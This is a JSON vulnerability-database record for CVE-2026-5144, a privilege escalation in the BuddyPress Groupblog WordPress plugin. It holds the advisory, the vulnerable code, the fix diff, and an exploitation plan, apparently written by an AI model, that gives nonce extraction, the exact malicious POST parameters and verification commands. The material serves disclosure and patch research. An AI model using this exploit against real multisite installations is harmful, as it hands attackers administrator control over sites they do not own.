[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fcywhWU0eK1VeIPTVOU0VgWTZ3kBP0bCv6iBvIeuoZz8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"source_links":37},"CVE-2026-5144","buddypress-groupblog-authenticated-subscriber-privilege-escalation-to-administrator-via-group-blog-idor","BuddyPress Groupblog \u003C= 1.9.3 - Authenticated (Subscriber+) Privilege Escalation to Administrator via Group Blog IDOR","The BuddyPress Groupblog plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.9.3. This is due to the group blog settings handler accepting the `groupblog-blogid`, `default-member`, and `groupblog-silent-add` parameters from user input without proper authorization checks. The `groupblog-blogid` parameter allows any group admin (including Subscribers who create their own group) to associate their group with any blog on the Multisite network, including the main site (blog ID 1). The `default-member` parameter accepts any WordPress role, including `administrator`, without validation against a whitelist. When combined with `groupblog-silent-add`, any user who joins the attacker's group is automatically added to the targeted blog with the injected role. This makes it possible for authenticated attackers, with Subscriber-level access and above, to escalate any user (including themselves via a second account) to Administrator on the main site of the Multisite network.","bp-groupblog",null,"\u003C=1.9.3","1.9.4","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Privilege Management","2026-04-10 12:09:00","2026-04-11 01:24:59",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8129046a-5aa5-4644-babc-0eca9aa524d2?source=api-prod",1,[22,23,24,25],"bp-groupblog.php","languages\u002Fbp-groupblog.pot","loader.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-5144 - BP Groupblog Privilege Escalation\n\n## 1. Vulnerability Summary\nThe **BuddyPress Groupblog** plugin (\u003C= 1.9.3) is vulnerable to an IDOR-based Privilege Escalation. The plugin allows group administrators (which can be any WordPress user with the Subscriber role or higher, as they can create their own groups) to configure \"Group Blog\" settings. \n\nThe logic in `groupblog_edit_settings()` fails to verify if the current user has administrative rights over the `blog_id` provided in the `groupblog-blogid` parameter. Furthermore, it accepts a `default-member` parameter which defines the role assigned to users who join the group. Since this parameter is not validated against a whitelist, an attacker can specify `administrator`. When combined with `groupblog-silent-add`, any user joining the group is automatically promoted to Administrator on the targeted blog (usually the main site, ID 1).\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** BuddyPress Group Management Admin Page.\n*   **URL Pattern:** `[site-url]\u002Fgroups\u002F[group-slug]\u002Fadmin\u002Fgroup-blog\u002F`\n*   **Action\u002FHook:** The settings are handled via `groupblog_edit_settings()`, which is called by the BuddyPress group extension API (specifically `BP_Groupblog_Extension::edit_screen_save()`).\n*   **Vulnerable Parameters:**\n    *   `groupblog-blogid`: The ID of the blog to link (set to `1` for the main site).\n    *   `default-member`: The role to assign (set to `administrator`).\n    *   `groupblog-silent-add`: Enables auto-joining of group members to the blog.\n    *   `groupblog-enable-blog`: Must be present to trigger the logic.\n    *   `groupblog-create-new`: Set to `no` to bypass new blog creation and use an existing ID.\n*   **Authentication:** Authenticated (Subscriber+). The user must be the administrator of a BuddyPress group.\n\n## 3. Code Flow\n1.  **Entry Point:** When a group admin saves settings in the \"Group Blog\" tab, `BP_Groupblog_Extension::edit_screen_save()` (in `bp-groupblog-classes.php`) is triggered.\n2.  **Logic Trigger:** This calls `groupblog_edit_settings()` (in `bp-groupblog.php`).\n3.  **Insecure IDOR:**\n    ```php\n    \u002F\u002F bp-groupblog.php:183\n    } elseif ( isset( $_POST['groupblog-create-new'] ) && 'no' === $_POST['groupblog-create-new'] ) {\n        \u002F\u002F They're using an existing blog, so we try to assign that to $groupblog_blog_id.\n        $groupblog_blog_id = isset( $_POST['groupblog-blogid'] ) ? (int) $_POST['groupblog-blogid'] : 0;\n    ```\n    The code blindly trusts `$_POST['groupblog-blogid']` without checking if the user is a member\u002Fadmin of that blog.\n4.  **Role Injection:**\n    The function continues to save metadata (the snippet is truncated, but the description confirms `default-member` is saved to group meta).\n5.  **Privilege Escalation:**\n    When a user joins the group, the plugin retrieves the `default-member` role and the linked `groupblog_blog_id`. If `groupblog-silent-add` is enabled, it calls `add_user_to_blog( $blog_id, $user_id, $role )`. Since `$role` is `administrator` and `$blog_id` is `1`, the user is promoted.\n\n## 4. Nonce Acquisition Strategy\nBuddyPress protects group management forms with nonces. To submit the settings, we need a nonce for the action `groups_edit_group_settings`.\n\n1.  **Create a Group:** Use `wp-cli` to create a group owned by the attacker.\n2.  **Identify Shortcode\u002FScript:** The group admin pages are standard BuddyPress components. No specific plugin shortcode is needed, but we must navigate to the group's admin URL.\n3.  **Extraction Path:**\n    *   Navigate to: `[site-url]\u002Fgroups\u002F[attacker-group-slug]\u002Fadmin\u002Fgroup-blog\u002F`\n    *   The nonce is usually in a hidden field named `_wpnonce`.\n    *   **Browser Eval:** `browser_eval(\"document.querySelector('#_wpnonce').value\")` or check the `_wpnonce` field within the form `id=\"group-settings-form\"`.\n\n## 5. Exploitation Strategy\n\n### Step 1: Initialize Attacker Environment\n*   Log in as a Subscriber.\n*   Create a BuddyPress group (becoming the Group Admin).\n\n### Step 2: Link Main Site to Group\nPerform an `http_request` to save the malicious settings.\n*   **Method:** POST\n*   **URL:** `[site-url]\u002Fgroups\u002F[attacker-group-slug]\u002Fadmin\u002Fgroup-blog\u002F`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```text\n    groupblog-group-id=[group_id]&\n    groupblog-enable-blog=1&\n    groupblog-create-new=no&\n    groupblog-blogid=1&\n    default-member=administrator&\n    groupblog-silent-add=1&\n    save=Save+Changes&\n    _wpnonce=[extracted_nonce]\n    ```\n\n### Step 3: Trigger Promotion\nThe attacker now needs to join the group or have another user join.\n*   **Method:** POST to the BuddyPress join-group action.\n*   **URL:** `[site-url]\u002Fgroups\u002F[attacker-group-slug]\u002Fjoin\u002F` (or via AJAX `join_group` action).\n\n## 6. Test Data Setup\n1.  **Multisite Setup:** Ensure WordPress is in Multisite mode.\n2.  **Plugin Setup:** Install and activate `bp-groupblog` version 1.9.3.\n3.  **User Creation:** \n    *   `wp user create attacker attacker@example.com --role=subscriber`\n4.  **Group Creation:**\n    *   `wp bp group create --name=\"Pwn Group\" --slug=\"pwn-group\" --creator_id=[attacker_id]`\n5.  **Blog Discovery:** Identify the main site ID (typically `1`).\n\n## 7. Expected Results\n*   The POST request to `\u002Fadmin\u002Fgroup-blog\u002F` returns a `302` redirect or a success message \"Options saved\".\n*   Group metadata for `pwn-group` will now have `groupblog_blog_id` set to `1` and `default_member_role` set to `administrator`.\n*   Upon joining the group, the `attacker` user's role on blog ID 1 is updated to `administrator`.\n\n## 8. Verification Steps\n1.  **Check Metadata:**\n    *   `wp group meta get [group_id] groupblog_blog_id` (Should be `1`)\n    *   `wp group meta get [group_id] default_member_role` (Should be `administrator`)\n2.  **Check User Role:**\n    *   `wp user get attacker --url=[main-site-url] --field=roles` (Should include `administrator`)\n3.  **Capability Test:**\n    *   `wp eval 'echo user_can([attacker_id], \"manage_options\") ? \"VULNERABLE\" : \"SAFE\";' --url=[main-site-url]`\n\n## 9. Alternative Approaches\nIf `groupblog-silent-add` does not trigger immediately upon the admin linking the blog:\n1.  Invite a second account (puppet) to the group.\n2.  The puppet joins the group via the invitation link.\n3.  Check if the puppet is promoted to Administrator.\n4.  Alternatively, check if `groupblog_edit_settings` accepts the `group-admin-role` parameter to escalate the group admin immediately. (The description implies `default-member` applies to anyone who joins).","The BuddyPress Groupblog plugin is vulnerable to privilege escalation in multisite environments because it fails to perform authorization and blog-ownership checks when linking a group to a blog. An authenticated attacker with Subscriber-level permissions can create a group and configure its settings to link to the main site (blog ID 1), setting the default membership role to 'administrator'. Consequently, any user joining the attacker's group is automatically granted the administrator role on the targeted blog.","\u002F\u002F bp-groupblog.php:175\nfunction groupblog_edit_settings() {\n\tglobal $bp, $groupblog_blog_id, $errors, $filtered_results;\n\n\t$group_id = isset( $_POST['groupblog-group-id'] ) ? (int) $_POST['groupblog-group-id'] : bp_get_current_group_id();\n\n\tif ( ! bp_groupblog_blog_exists( $group_id ) ) {\n\t\tif ( isset( $_POST['groupblog-enable-blog'] ) ) {\n\t\t\tif ( isset( $_POST['groupblog-create-new'] ) && 'yes' === $_POST['groupblog-create-new'] ) {\n\t\t\t\t\u002F\u002F ...\n\t\t\t} elseif ( isset( $_POST['groupblog-create-new'] ) && 'no' === $_POST['groupblog-create-new'] ) {\n\t\t\t\t\u002F\u002F They're using an existing blog, so we try to assign that to $groupblog_blog_id.\n\t\t\t\t$groupblog_blog_id = isset( $_POST['groupblog-blogid'] ) ? (int) $_POST['groupblog-blogid'] : 0;\n\n---\n\n\u002F\u002F bp-groupblog.php:577 (in groupblog_edit_base_settings)\n\t\u002F\u002F Set up some default roles.\n\t$groupblog_default_admin_role  = isset( $_POST['default-administrator'] ) ? sanitize_text_field( wp_unslash( $_POST['default-administrator'] ) ) : BP_GROUPBLOG_DEFAULT_ADMIN_ROLE;\n\t$groupblog_default_mod_role    = isset( $_POST['default-moderator'] ) ? sanitize_text_field( wp_unslash( $_POST['default-moderator'] ) ) : BP_GROUPBLOG_DEFAULT_MOD_ROLE;\n\t$groupblog_default_member_role = isset( $_POST['default-member'] ) ? sanitize_text_field( wp_unslash( $_POST['default-member'] ) ) : BP_GROUPBLOG_DEFAULT_MEMBER_ROLE;","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbp-groupblog\u002F1.9.3\u002Fbp-groupblog.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbp-groupblog\u002F1.9.4\u002Fbp-groupblog.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbp-groupblog\u002F1.9.3\u002Fbp-groupblog.php\t2023-07-28 17:57:22.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbp-groupblog\u002F1.9.4\u002Fbp-groupblog.php\t2026-03-30 17:50:36.000000000 +0000\n@@ -175,6 +203,12 @@\n \n \t$group_id = isset( $_POST['groupblog-group-id'] ) ? (int) $_POST['groupblog-group-id'] : bp_get_current_group_id();\n \n+\t\u002F\u002F Authorization: only a group admin may change these settings.\n+\tif ( ! groups_is_user_admin( bp_loggedin_user_id(), $group_id ) ) {\n+\t\tbp_core_add_message( __( 'You do not have permission to manage this group blog.', 'bp-groupblog' ), 'error' );\n+\t\treturn;\n+\t}\n+\n \tif ( ! bp_groupblog_blog_exists( $group_id ) ) {\n \t\tif ( isset( $_POST['groupblog-enable-blog'] ) ) {\n \t\t\tif ( isset( $_POST['groupblog-create-new'] ) && 'yes' === $_POST['groupblog-create-new'] ) {\n@@ -188,6 +222,10 @@\n \t\t\t} elseif ( isset( $_POST['groupblog-create-new'] ) && 'no' === $_POST['groupblog-create-new'] ) {\n \t\t\t\t\u002F\u002F They're using an existing blog, so we try to assign that to $groupblog_blog_id.\n \t\t\t\t$groupblog_blog_id = isset( $_POST['groupblog-blogid'] ) ? (int) $_POST['groupblog-blogid'] : 0;\n+\t\t\t\t\u002F\u002F Validate that the current user is actually an admin of the submitted blog.\n+\t\t\t\tif ( $groupblog_blog_id && ! current_user_can_for_blog( $groupblog_blog_id, 'manage_options' ) ) {\n+\t\t\t\t\t$groupblog_blog_id = 0;\n+\t\t\t\t}\n \t\t\t\tif ( ! $groupblog_blog_id ) {\n \t\t\t\t\t\u002F\u002F They forgot to choose a blog, so send them back and make them do it.\n \t\t\t\t\tbp_core_add_message( __( 'Please choose one of your blogs from the drop-down menu.', 'bp-groupblog' ), 'error' );\n@@ -221,6 +259,13 @@\n \t\t}\n \t}\n \n+\t\u002F\u002F Validate submitted role values against the whitelist for this user.\n+\tforeach ( array( 'default-administrator', 'default-moderator', 'default-member' ) as $role_field ) {\n+\t\tif ( ! empty( $settings[ $role_field ] ) && ! bp_groupblog_is_role_allowed( $settings[ $role_field ] ) ) {\n+\t\t\t$settings[ $role_field ] = '';\n+\t\t}\n+\t}\n+\n \tif ( ! groupblog_edit_base_settings( $settings['groupblog-enable-blog'], $settings['groupblog-silent-add'], $settings['default-administrator'], $settings['default-moderator'], $settings['default-member'], $settings['page_template_layout'], $group_id, $groupblog_blog_id ) ) {\n \t\tbp_core_add_message( __( 'There was an error creating your group blog, please try again.', 'bp-groupblog' ), 'error' );\n \t} else {","The exploit requires an authenticated user (Subscriber or higher) on a WordPress Multisite installation with BuddyPress and BP Groupblog active. \n\n1. The attacker creates a new BuddyPress group, which grants them Group Admin privileges for that specific group.\n2. The attacker navigates to the 'Group Blog' admin settings page for their new group (`\u002Fgroups\u002F[slug]\u002Fadmin\u002Fgroup-blog\u002F`) and captures a valid `_wpnonce` from the form.\n3. The attacker sends a POST request to the same URL to configure the group blog. The payload specifies `groupblog-blogid=1` to target the main site, `groupblog-create-new=no` to use an existing ID, `groupblog-silent-add=1` to automate user addition, and importantly, `default-member=administrator` to define the role for new members.\n4. Because the plugin lacks authorization checks to verify if the group admin has permissions on blog ID 1, and lacks a whitelist for roles, these settings are saved to the group metadata.\n5. The attacker (or any other user) then joins the group. The plugin retrieves the malicious metadata and calls `add_user_to_blog(1, [user_id], 'administrator')`, immediately escalating the user to an Administrator on the main site.","gemini-3-flash-preview","2026-04-16 16:06:14","2026-04-16 16:06:34",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","1.9.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbp-groupblog\u002Ftags\u002F1.9.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbp-groupblog.1.9.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbp-groupblog\u002Ftags\u002F1.9.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbp-groupblog.1.9.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbp-groupblog\u002Ftags"]